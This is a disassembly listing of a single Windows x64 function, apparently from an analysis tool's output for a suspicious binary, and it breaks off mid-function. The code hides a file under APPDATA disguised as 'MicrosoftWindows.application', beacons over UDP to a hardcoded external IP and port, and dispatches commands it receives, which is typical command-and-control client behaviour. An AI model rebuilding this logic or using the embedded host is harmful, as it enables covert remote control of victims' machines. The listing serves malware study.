Function at 0x1400049b0
Capabilities:
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Set file attributes
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x18cd0
call fcn.1400173f0
sub rsp, rax
mov rax, qword [0x140056070]
xor rax, rsp
mov qword [rsp + 0x18cc0], rax
xor ebx, ebx
lea rcx, str.appdata
call fcn.14002426c
mov qword [rsp + 0x298], rbx
mov qword [rsp + 0x2a8], rbx
mov qword [rsp + 0x2b0], setsockopt
mov byte [rsp + 0x298], bl
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140004a21
mov rdx, rax
lea rcx, [rsp + 0x298]
call fcn.140001940
nop
mov r8d, 0x1f
lea rdx, str.MicrosoftWindows.application
lea rcx, [rsp + 0x298]
call fcn.140001aa0
mov qword [rsp + 0x2f8], rbx
mov qword [rsp + 0x308], rbx
mov qword [rsp + 0x310], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x2f8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x308], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], setsockopt
mov byte [rax], 0
mov rdx, qword [rsp + 0x2b0]
cmp rdx, 0x10
jb 0x140004ad7
inc rdx
mov rcx, qword [rsp + 0x298]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ad2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006304
call fcn.1400169a4
mov qword [rsp + 0x2a8], rbx
mov qword [rsp + 0x2b0], setsockopt
mov byte [rsp + 0x298], 0
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x150]
call fcn.140018ef0
mov r8d, 1
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0x150]
call fcn.140009840
nop
mov qword [rsp + 0x2d8], rbx
mov qword [rsp + 0x2e8], rbx
mov qword [rsp + 0x2f0], setsockopt
mov byte [rsp + 0x2d8], 0
mov r8d, 4
lea rdx, str.NULL
lea rcx, [rsp + 0x2d8]
call fcn.140001940
nop
lea rcx, str.appdata
call fcn.14002426c
mov qword [rsp + 0x2b8], rbx
mov qword [rsp + 0x2c8], rbx
mov qword [rsp + 0x2d0], setsockopt
mov byte [rsp + 0x2b8], 0
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004ba0
mov rdx, rax
lea rcx, [rsp + 0x2b8]
call fcn.140001940
nop
mov qword [rsp + 0x318], rbx
mov qword [rsp + 0x328], rbx
mov qword [rsp + 0x330], setsockopt
mov byte [rsp + 0x318], 0
mov r8d, 1
lea rdx, [0x14004f258]
lea rcx, [rsp + 0x318]
call fcn.140001940
nop
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x410], xmm1
mov qword [rsp + 0x420], rbx
mov r15, rbx
mov byte [rsp + 0x30], bl
mov r12, qword [rsp + 0x318]
nop dword [rax]
lea rbx, [rsp + 0x318]
cmp qword [rsp + 0x330], 0x10
setae byte [rsp + 0x31]
cmovae rbx, r12
lea rdi, [rsp + 0x2b8]
cmp qword [rsp + 0x2d0], 0x10
setae r13b
mov r14, qword [rsp + 0x2b8]
cmovae rdi, r14
mov rsi, qword [rsp + 0x2c8]
cmp r15, rsi
jae 0x140004ccc
xor edx, edx
mov r8d, 0x100
lea rcx, [rsp + 0x620]
call fcn.140018ef0
mov rdx, qword [rsp + 0x328]
lea rcx, [rbx + rdx]
cmp rbx, rcx
je 0x140004ca3
nop
movzx eax, byte [rbx]
mov byte [rsp + rax + 0x620], 1
inc rbx
cmp rbx, rcx
jne 0x140004c90
lea rcx, [rdi + rsi]
lea rbx, [rdi + r15]
cmp rbx, rcx
jae 0x140004cd4
movzx eax, byte [rbx]
cmp byte [rsp + rax + 0x620], 0
je 0x140004cc7
inc rbx
cmp rbx, rcx
jb 0x140004cb0
jmp 0x140004cd4
sub rbx, rdi
jmp 0x140004cdb
mov rdx, qword [rsp + 0x328]
mov rbx, 0xffffffffffffffff
cmp rbx, 0xffffffffffffffff
je 0x140004e65
lea r9, [rsp + 0x318]
cmp byte [rsp + 0x31], 0
cmovne r9, r12
lea rcx, [rsp + 0x2b8]
test r13b, r13b
cmovne rcx, r14
mov qword [rsp + 0x20], rdx
mov r8, rbx
mov rdx, rsi
call fcn.14000e340
mov r15, rax
xor eax, eax
mov qword [rsp + 0x298], rax
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], setsockopt
mov byte [rsp + 0x298], al
mov r8, r15
sub r8, rbx
cmp rsi, rbx
jb 0x14000630a
sub rsi, rbx
cmp rsi, r8
cmovb r8, rsi
lea rdx, [rsp + 0x2b8]
test r13b, r13b
cmovne rdx, r14
add rdx, rbx
lea rcx, [rsp + 0x298]
call fcn.140001940
nop
lea rcx, [rsp + 0x298]
mov rsi, qword [rsp + 0x2b0]
cmp rsi, 0x10
setae r14b
mov rbx, qword [rsp + 0x298]
cmovae rcx, rbx
mov rdi, qword [rsp + 0x2a8]
cmp rdi, 5
jne 0x140004dfb
mov r8, rdi
lea rdx, str.Users
call fcn.1400190b0
test eax, eax
jne 0x140004dfb
mov byte [rsp + 0x30], 1
test r14b, r14b
je 0x140004c20
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140004fc0
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000630f
jmp 0x140004fc0
cmp byte [rsp + 0x30], 0
je 0x140004dc0
lea rdx, [rsp + 0x298]
test r14b, r14b
cmovne rdx, rbx
mov r8, rdi
lea rcx, [rsp + 0x2d8]
call fcn.140001940
nop
mov rdx, qword [rsp + 0x2b0]
cmp rdx, 0x10
jb 0x140004e65
inc rdx
mov rcx, qword [rsp + 0x298]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000630f
call fcn.1400169a4
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x160], 6
je 0x140004fcd
xor ecx, ecx
call fcn.1400237f8
mov r13, rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x620]
call fcn.140018ef0
mov ebx, 2
mov r8d, ebx
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0x620]
call fcn.1400089d0
nop
lea edx, [rbx + 2]
lea rcx, [rsp + 0x40]
call fcn.140015b20
mov rdx, rax
mov r8, qword [rax]
mov rax, qword [rsp + 0x620]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x620]
add rcx, rax
mov rdx, qword [rdx + 8]
call r8
xor ecx, ecx
call fcn.1400237f8
mov rdx, rax
lea rcx, [rsp + 0x620]
call fcn.140009bc0
mov rcx, rax
call fcn.14000ce90
lea rcx, [rsp + 0x2f8]
cmp qword [rsp + 0x310], 0x10
cmovae rcx, qword [rsp + 0x2f8]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
mov rax, qword [rsp + 0x620]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x620], rax
mov rax, qword [rsp + 0x620]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x61c], edx
lea rcx, [rsp + 0x628]
call fcn.140009790
mov rax, qword [rsp + 0x620]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x620], rax
mov rax, qword [rsp + 0x620]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x61c], edx
lea rdi, vtable.std::ios_base.0
mov qword [rsp + 0x6c8], rdi
lea rcx, [rsp + 0x6c8]
call fcn.1400158c8
nop
jmp 0x140005004
mov rcx, rbx
call fcn.1400169a4
jmp 0x140004c20
mov eax, dword [rsp + 0x290]
mov dword [rsp + 0x288], eax
lea rdx, [rsp + 0x288]
lea rcx, [rsp + 0x150]
call fcn.14000dd60
mov r13d, dword [rsp + 0x288]
mov ebx, 2
lea rdi, vtable.std::ios_base.0
mov dword [rsp + 0x290], setsockopt
mov ecx, 0x202
lea rdx, [rsp + 0x430]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400051f3
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400049b0
nop
cmp byte [rsp + 0x31], 0
je 0x14000507c
mov rdx, qword [rsp + 0x330]
inc rdx
mov rax, r12
cmp rdx, 0x1000
jb 0x140005073
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006315
mov rcx, r12
call fcn.1400169a4
nop
mov rdx, qword [rsp + 0x2d0]
cmp rdx, 0x10
jb 0x1400050bf
inc rdx
mov rcx, qword [rsp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000631b
call fcn.1400169a4
mov qword [rsp + 0x2c8], 0
mov qword [rsp + 0x2d0], setsockopt
mov byte [rsp + 0x2b8], 0
mov rdx, qword [rsp + 0x2f0]
cmp rdx, 0x10
jb 0x140005123
inc rdx
mov rcx, qword [rsp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000511d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006321
call fcn.1400169a4
nop
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x150], rax
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x14c], edx
lea rcx, [rsp + 0x160]
call fcn.140009790
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x150], rax
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x14c], edx
mov qword [rsp + 0x200], rdi
lea rcx, [rsp + 0x200]
call fcn.1400158c8
nop
mov rdx, qword [rsp + 0x310]
cmp rdx, 0x10
jb 0x1400051ee
inc rdx
mov rcx, qword [rsp + 0x2f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006327
call fcn.1400169a4
jmp 0x1400062d2
mov r8d, reloc.WS2_32.dll_recvfrom
mov edx, ebx
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r15, rax
mov qword [rsp + 0x38], rax
cmp rax, 0xffffffffffffffff
jne 0x1400053e4
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400049b0
nop
cmp byte [rsp + 0x31], 0
je 0x14000526d
mov rdx, qword [rsp + 0x330]
inc rdx
mov rax, r12
cmp rdx, 0x1000
jb 0x140005264
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006315
mov rcx, r12
call fcn.1400169a4
nop
mov rdx, qword [rsp + 0x2d0]
cmp rdx, 0x10
jb 0x1400052b0
inc rdx
mov rcx, qword [rsp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400052ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000631b
call fcn.1400169a4
mov qword [rsp + 0x2c8], 0
mov qword [rsp + 0x2d0], setsockopt
mov byte [rsp + 0x2b8], 0
mov rdx, qword [rsp + 0x2f0]
cmp rdx, 0x10
jb 0x140005314
inc rdx
mov rcx, qword [rsp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000530e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006321
call fcn.1400169a4
nop
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x150], rax
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x14c], edx
lea rcx, [rsp + 0x160]
call fcn.140009790
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x150], rax
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x14c], edx
mov qword [rsp + 0x200], rdi
lea rcx, [rsp + 0x200]
call fcn.1400158c8
nop
mov rdx, qword [rsp + 0x310]
cmp rdx, 0x10
jb 0x1400053df
inc rdx
mov rcx, qword [rsp + 0x2f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400053da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006327
call fcn.1400169a4
jmp 0x1400062d2
xor r12d, r12d
mov qword [rsp + 0x348], r12
mov word [rsp + 0x340], bx
mov ecx, 0x42f3
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x342], ax
lea rcx, str.185.229.65.84
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x344], eax
mov qword [rsp + 0x338], 0x1388
mov dword [rsp + 0x20], 8
lea r9, [rsp + 0x338]
mov edx, 0xffff
mov r8d, 0x1006
mov rcx, r15
call qword [sym.imp.WS2_32.dll_setsockopt]
movzx edi, byte [rsp + 0x30]
movzx esi, byte [rsp + 0x30]
movzx ebx, byte [rsp + 0x30]
nop dword [rax]
mov qword [rsp + 0x5d0], r12
mov qword [rsp + 0x5e0], r12
mov qword [rsp + 0x5e8], 0xf
xor r8d, r8d
lea rdx, [0x14004ef53]
lea rcx, [rsp + 0x5d0]
call fcn.140001940
movups xmm0, xmmword [rsp + 0x5d0]
movups xmmword [rsp + 0x260], xmm0
movups xmm1, xmmword [rsp + 0x5e0]
movups xmmword [rsp + 0x270], xmm1
mov qword [rsp + 0x280], r12
movq rcx, xmm1
psrldq xmm1, 8
movq rdx, xmm1
cmp rcx, rdx
jae 0x1400054f8
lea rax, [rcx + 1]
mov qword [rsp + 0x270], rax
lea rax, [rsp + 0x260]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x260]
mov word [rcx + rax], reloc.WS2_32.dll_WSACleanup
jmp 0x140005511
mov r9b, reloc.WS2_32.dll_WSACleanup
movzx r8d, dil
mov edx, 1
lea rcx, [rsp + 0x260]
call fcn.140001d00
mov rcx, qword [rsp + 0x270]
mov rdx, qword [rsp + 0x278]
cmp rcx, rdx
jae 0x14000554f
lea rax, [rcx + 1]
mov qword [rsp + 0x270], rax
lea rax, [rsp + 0x260]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x260]
mov word [rax + rcx], 1
jmp 0x140005568
mov r9b, 1
movzx r8d, sil
mov edx, 1
lea rcx, [rsp + 0x260]
call fcn.140001d00
mov dword [rsp + 0x288], r13d
lea rdx, [rsp + 0x28c]
lea rcx, [rsp + 0x288]
call fcn.140014520
mov qword [rsp + 0x5d0], r12
mov qword [rsp + 0x5e0], r12
mov qword [rsp + 0x5e8], 0xf
mov byte [rsp + 0x5d0], 0
mov r8d, 4
lea rdx, [rsp + 0x288]
lea rcx, [rsp + 0x5d0]
call fcn.140001940
nop
lea rdx, [rsp + 0x5d0]
cmp qword [rsp + 0x5e8], 0x10
cmovae rdx, qword [rsp + 0x5d0]
mov r8, qword [rsp + 0x5e0]
lea rcx, [rsp + 0x260]
call fcn.140001aa0
nop
mov rdx, qword [rsp + 0x5e8]
cmp rdx, 0x10
jb 0x140005638
inc rdx
mov rcx, qword [rsp + 0x5d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005633
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006378
call fcn.1400169a4
mov edx, dword [rsp + 0x2e8]
lea rcx, [rsp + 0x260]
call fcn.1400016b0
lea rdx, [rsp + 0x2d8]
cmp qword [rsp + 0x2f0], 0x10
cmovae rdx, qword [rsp + 0x2d8]
mov r8, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x260]
call fcn.140001aa0
movdqa xmm0, xmmword [0x14004f440]
movdqu xmmword [rsp + 0x5d0], xmm0
movdqa xmm1, xmmword [str._f_x_v]
movdqu xmmword [rsp + 0x5e0], xmm1
movdqa xmm0, xmmword [0x14004f410]
movdqu xmmword [rsp + 0x5f0], xmm0
mov dword [rsp + 0x600], r12d
mov dword [rsp + 0x604], 0xd
mov dword [rsp + 0x608], 0x5c
lea r14, [rsp + 0x5d0]
lea rax, [rsp + 0x60c]
cmp r14, rax
je 0x140005748
mov edx, dword [r14]
mov rcx, qword [rsp + 0x270]
mov r8, qword [rsp + 0x278]
cmp rcx, r8
jae 0x140005728
lea rax, [rcx + 1]
mov qword [rsp + 0x270], rax
lea rax, [rsp + 0x260]
cmp r8, 0x10
cmovae rax, qword [rsp + 0x260]
mov byte [rax + rcx], dl
mov byte [rax + rcx + 1], 0
add r14, 4
jmp 0x1400056d4
movzx r9d, dl
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x260]
call fcn.140001d00
add r14, 4
jmp 0x1400056d4
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x5d0]
call fcn.140001850
lea r14, [rsp + 0x5d0]
mov rdx, qword [rsp + 0x5e8]
cmp rdx, 0x10
jb 0x1400057ab
mov r14, qword [rsp + 0x5d0]
inc rdx
mov rcx, r14
mov rax, r14
cmp rdx, 0x1000
jb 0x1400057a6
add rdx, 0x27
mov rcx, qword [r14 - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000632d
call fcn.1400169a4
mov qword [rsp + 0x5e0], r12
mov qword [rsp + 0x5e8], 0xf
mov byte [rsp + 0x5d0], 0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [r14 + r8], 0
jne 0x1400057d0
mov eax, dword [rsp + 0x290]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x340]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov rdx, r14
mov rcx, r15
call qword [sym.imp.WS2_32.dll_sendto]
lea rax, [rsp + 0x290]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x340]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x186a0
lea rdx, [rsp + 0x620]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recvfrom]
movsxd rcx, eax
dec rcx
cmp rcx, 0xfffffffffffffffd
ja 0x14000624e
mov qword [rsp + 0x3b0], r12
mov qword [rsp + 0x3c0], r12
mov qword [rsp + 0x3c8], setsockopt
mov byte [rsp + 0x3b0], 0
lea rax, [rsp + 0x620]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140005880
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x3b0]
call fcn.140001940
nop
mov qword [rsp + 0x5d0], r12
mov qword [rsp + 0x5e0], r12
mov qword [rsp + 0x5e8], 0xf
mov byte [rsp + 0x5d0], 0
lea rax, [rsp + 0x620]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400058d3
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x5d0]
call fcn.140001940
nop
mov qword [rsp + 0x280], r12
lea rdx, [rsp + 0x5d0]
cmp qword [rsp + 0x5e8], 0x10
cmovae rdx, qword [rsp + 0x5d0]
mov r8, qword [rsp + 0x5e0]
lea rcx, [rsp + 0x260]
call fcn.140001940
nop
mov rdx, qword [rsp + 0x5e8]
cmp rdx, 0x10
jb 0x14000596e
inc rdx
mov rcx, qword [rsp + 0x5d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005969
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006333
call fcn.1400169a4
mov r10, qword [rsp + 0x270]
mov rdx, qword [rsp + 0x280]
cmp r10, rdx
jbe 0x140006339
lea rcx, [rdx + 1]
mov qword [rsp + 0x280], rcx
lea rax, [rsp + 0x260]
mov r15, qword [rsp + 0x278]
cmp r15, 0x10
setae r8b
mov r14, qword [rsp + 0x260]
cmovae rax, r14
cmp byte [rdx + rax], 0x74
je 0x140005a94
call fcn.14000cf20
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rsp + 0x3c8]
cmp rdx, 0x10
jb 0x140005a16
inc rdx
mov rcx, qword [rsp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006378
call fcn.1400169a4
nop
lea rax, [rsp + 0x260]
cmp qword [rsp + 0x278], 0x10
cmovae rax, qword [rsp + 0x260]
mov qword [rsp + 0x270], r12
mov byte [rax], 0
mov qword [rsp + 0x280], r12
mov rdx, qword [rsp + 0x278]
cmp rdx, 0x10
mov r15, qword [rsp + 0x38]
jb 0x140005460
inc rdx
mov rcx, qword [rsp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000643e
call fcn.1400169a4
jmp 0x140005460
cmp r10, rcx
jbe 0x14000637e
lea r9, [rcx + 1]
mov qword [rsp + 0x280], r9
lea rax, [rsp + 0x260]
test r8b, r8b
cmovne rax, r14
movzx ecx, byte [rax + rcx]
mov qword [rsp + 0x298], r12
mov qword [rsp + 0x2a8], r12
mov qword [rsp + 0x2b0], setsockopt
mov byte [rsp + 0x298], 0
mov qword [rsp + 0x350], r12
mov qword [rsp + 0x360], r12
mov qword [rsp + 0x368], setsockopt
mov byte [rsp + 0x350], 0
mov qword [rsp + 0x3f0], r12
mov qword [rsp + 0x400], r12
mov qword [rsp + 0x408], 0xf
mov byte [rsp + 0x3f0], 0
mov qword [rsp + 0x3d0], r12
mov qword [rsp + 0x3e0], r12
mov qword [rsp + 0x3e8], setsockopt
mov byte [rsp + 0x3d0], 0
mov qword [rsp + 0x390], r12
mov qword [rsp + 0x3a0], r12
mov qword [rsp + 0x3a8], setsockopt
mov byte [rsp + 0x390], 0
mov qword [rsp + 0x370], r12
mov qword [rsp + 0x380], r12
mov qword [rsp + 0x388], setsockopt
mov byte [rsp + 0x370], 0
add ecx, 0xfffffffd
cmp ecx, 0xa
ja case.0x140005bb4.11
movsxd rax, ecx
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x6444]
add rcx, rdx
jmp rcx
mov r11d, r12d
mov r8d, r12d
nop dword [rax]
cmp r8d, 0x20
jae 0x140005c11
cmp r10, r9
jbe 0x1400063bd
mov rcx, r9
inc r9
mov qword [rsp + 0x280], r9
cmp r10, rcx
jbe 0x1400063fc
lea rax, [rsp + 0x260]
cmp r15, 0x10
cmovae rax, r14
movzx edx, byte [rax + rcx]
mov eax, edx
and eax, 0x7f
mov ecx, r8d
shl eax, cl
or r11d, eax
test dl, dl
jns 0x140005c11
add r8d, 7
jmp 0x140005bc0
mov r8d, r11d
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x260]
call fcn.1400014f0
lea rcx, [rsp + 0x350]
cmp rcx, rax
je 0x140005c70
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x350], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x360], xmm1
xor r12d, r12d
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], setsockopt
mov byte [rax], r12b
jmp 0x140005c73
xor r12d, r12d
lea rcx, [rsp + 0x5d0]
call fcn.1400017b0
lea rcx, [rsp + 0x260]
call fcn.140001620
mov r8d, eax
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x260]
call fcn.1400014f0
mov rdx, rax
lea rcx, [rsp + 0x3f0]
call fcn.140009f10
lea rcx, [rsp + 0x5d0]
call fcn.1400017b0
lea rcx, [rsp + 0x260]
call fcn.140001620
mov r8d, eax
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x260]
call fcn.1400014f0
mov rdx, rax
lea rcx, [rsp + 0x370]
call fcn.140009f10
lea rcx, [rsp + 0x5d0]
call fcn.1400017b0
lea rdx, str.question
lea rcx, [rsp + 0x370]
call fcn.14000ce40
test al, al
je 0x140005d29
mov dword [rsp + 0x288], 0x20
jmp 0x140005d53
lea rdx, str.buttons
lea rcx, [rsp + 0x370]
call fcn.14000ce40
mov ecx, 0x20000
test al, al
mov eax, 3
cmovne ecx, eax
mov dword [rsp + 0x288], ecx
lea r9, [rsp + 0x288]
lea r8, [rsp + 0x3f0]
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x5d0]
call fcn.140006470
nop
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.14000d190
nop
mov rcx, rax
call fcn.140003330
nop
cmp dword [rsp + 0x88], 0
jne 0x140006402
lea rcx, [rsp + 0x5d0]
call fcn.140008460
jmp case.0x140005bb4.11
lea rcx, [rsp + 0x90]
call fcn.14000d280
nop
mov rcx, rax
call fcn.140003330
nop
cmp dword [rsp + 0x98], 0
jne 0x140006408
jmp case.0x140005bb4.11
lea rcx, [rsp + 0x260]
call fcn.140001620
mov r8d, eax
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x260]
call fcn.1400014f0
mov rdx, rax
lea rcx, [rsp + 0x3d0]
call fcn.140009f10
lea rcx, [rsp + 0x5d0]
call fcn.1400017b0
lea rdx, [rsp + 0x3d0]
lea rcx, [rsp + 0x5d0]
call fcn.140001850
nop
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0xa0]
call fcn.14000d310
nop
mov rcx, rax
call fcn.140003330
nop
cmp dword [rsp + 0xa8], 0
jne 0x14000640e
lea rcx, [rsp + 0x5d0]
call fcn.140008510
jmp case.0x140005bb4.11
lea rcx, [rsp + 0xb0]
call fcn.14000d3c0
nop
mov rcx, rax
call fcn.140003330
nop
cmp dword [rsp + 0xb8], 0
jne 0x140006414
jmp case.0x140005bb4.11
lea rcx, [rsp + 0x260]
call fcn.140001620
mov r8d, eax
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x260]
call fcn.1400014f0
mov rdx, rax
lea rcx, [rsp + 0x390]
call fcn.140009f10
lea rcx, [rsp + 0x5d0]
call fcn.1400017b0
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x5d0]
call fcn.140001850
nop
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0xc0]
call fcn.14000d450
nop
mov rcx, rax
call fcn.140003330
nop
cmp dword [rsp + 0xc8], 0
jne 0x14000641a
lea rcx, [rsp + 0x5d0]
call fcn.140008510
jmp case.0x140005bb4.11
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x5d0]
call fcn.140001850
nop
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0xd0]
call fcn.14000d500
nop
mov rcx, rax
call fcn.140003330
nop
cmp dword [rsp + 0xd8], 0
jne 0x140006420
lea rcx, [rsp + 0x5d0]
call fcn.140008510
jmp case.0x140005bb4.11
lea rcx, [rsp + 0x260]
call fcn.140001620
mov r8d, eax
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x260]
call fcn.1400014f0
mov rdx, rax
lea rcx, [rsp + 0x298]
call fcn.140009f10
lea rcx, [rsp + 0x5d0]
call fcn.1400017b0
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x5d0]
call fcn.140001850
nop
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x50]
call fcn.14000d6e0
nop
mov rcx, rax
call fcn.140003330
nop
cmp dword [rsp + 0x58], 0
jne 0x140006426
lea rcx, [rsp + 0x5d0]
call fcn.140008510
jmp case.0x140005bb4.11
lea rcx, [rsp + 0x260]
call fcn.140001620
mov r8d, eax
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x260]
call fcn.1400014f0
mov rdx, rax
lea rcx, [rsp + 0x298]
call fcn.140009f10
lea rcx, [rsp + 0x5d0]
call fcn.1400017b0
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x5d0]
call fcn.140001850
nop
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x60]
call fcn.14000d790
nop
mov rcx, rax
call fcn.140003330
nop
cmp dword [rsp + 0x68], 0
